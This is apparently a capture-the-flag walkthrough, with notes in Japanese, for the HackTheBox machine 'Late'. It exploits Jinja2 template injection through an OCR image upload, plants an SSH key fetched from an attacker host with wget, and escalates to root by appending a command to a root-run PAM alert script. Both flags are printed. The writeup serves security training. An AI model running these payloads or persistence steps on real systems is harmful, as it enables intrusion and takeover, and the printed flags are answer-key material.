nmap -sV -sC -p 22,80 10.129.227.134

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.6
80/tcp open  http    nginx 1.14.0 (Ubuntu)
|_http-title: Late - Best online image tools

echo "10.129.227.134 late.htb" >> /etc/hosts

ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
  -u http://late.htb/ -H 'Host: FUZZ.late.htb' -fs <baselineサイズ>

images  [Status: 200, Size: ...]

echo "10.129.227.134 images.late.htb" >> /etc/hosts
curl -s --resolve images.late.htb:80:10.129.227.134 http://images.late.htb/

<title>Image Reader</title>
（画像をアップロードするとOCR(文字認識)で読み取った内容を表示するツール）

このFlaskアプリは「画像をアップロード → Tesseract OCRで文字起こし → 結果をHTMLに
埋め込んで表示」という処理を行う。実装側のバグとして、OCRで読み取った文字列を
サニタイズせずそのままJinja2テンプレートとしてレンダリングしている
（例: render_template_string(ocr_result) のような実装）。
つまり画像内に埋め込んだテキストがOCRに正しく認識されさえすれば、
それはJinja2のServer-Side Template Injection(SSTI)として評価される。

from PIL import Image, ImageDraw, ImageFont

font_path = "/usr/share/fonts/truetype/liberation/LiberationMono-Regular.ttf"
payload = '{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen("id").read() }}'

# 幅8000px・フォントサイズ18ptが必須。幅が足りないと長いペイロードが
# 画像からはみ出しOCRが読み取れず、短いコマンドでも誤認識が起きやすくなる。
img = Image.new("RGB", (8000, 120), color="white")
draw = ImageDraw.Draw(img)
font = ImageFont.truetype(font_path, 18)
draw.text((0, 10), payload, fill=(0, 0, 0), font=font)
img.save("payload_id.png")

curl -s -X POST -F "file=@payload_id.png" \
  --resolve images.late.htb:80:10.129.227.134 \
  http://images.late.htb/scanner

<p>uid=1000(svc_acc) gid=1000(svc_acc) groups=1000(svc_acc)</p>

payload = '{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen("cat /home/svc_acc/user.txt").read() }}'

<p>eebccde6394133b3df1e0b818ed0bf37</p>

ssh-keygen -t ed25519 -f late_key -N "" -q

# 生成した公開鍵をターゲットから取得できるようKali側でHTTP配信
python3 -m http.server 8862 --bind 0.0.0.0 --directory .

cmd = (
    "wget -q http://<KALI_IP>:8862/late_key.pub -O /tmp/lk && "
    "mkdir -p /home/svc_acc/.ssh && "
    "cat /tmp/lk >> /home/svc_acc/.ssh/authorized_keys && "
    "chmod 700 /home/svc_acc/.ssh && "
    "chmod 600 /home/svc_acc/.ssh/authorized_keys && "
    "rm -f /tmp/lk"
)
# 上と同じ要領で8000px画像にこのコマンドのSSTIペイロードを埋め込みアップロード

10.129.227.134 - - [...] "GET /late_key.pub HTTP/1.1" 200 -

ssh -i late_key svc_acc@10.129.227.134 "id"

uid=1000(svc_acc) gid=1000(svc_acc) groups=1000(svc_acc)

ls -la /usr/local/sbin/ssh-alert.sh
lsattr /usr/local/sbin/ssh-alert.sh
cat /usr/local/sbin/ssh-alert.sh

-rwxr-xr-x 1 svc_acc svc_acc 433 ... /usr/local/sbin/ssh-alert.sh
-----a--------e--- /usr/local/sbin/ssh-alert.sh

#!/bin/bash
RECIPIENT="root@late.htb"
SUBJECT="Email from Server Login: SSH Alert"
BODY="
A SSH login was detected.
        User:        $PAM_USER
        ...
"
if [ ${PAM_TYPE} = "open_session" ]; then
        echo "Subject:${SUBJECT} ${BODY}" | /usr/sbin/sendmail ${RECIPIENT}
fi

ssh -i late_key svc_acc@10.129.227.134 \
  'echo "cp /root/root.txt /tmp/.late_flag && chmod 644 /tmp/.late_flag" >> /usr/local/sbin/ssh-alert.sh'

...
cp /root/root.txt /tmp/.late_flag && chmod 644 /tmp/.late_flag

# 新しいSSHセッションを開く = PAM open_session が発火 = ssh-alert.sh がrootとして実行される
ssh -i late_key svc_acc@10.129.227.134 "id"

# 少し待ってからコピーされたフラグを読む
ssh -i late_key svc_acc@10.129.227.134 "cat /tmp/.late_flag"

c94f28939553210fa68a6a40cb18dd57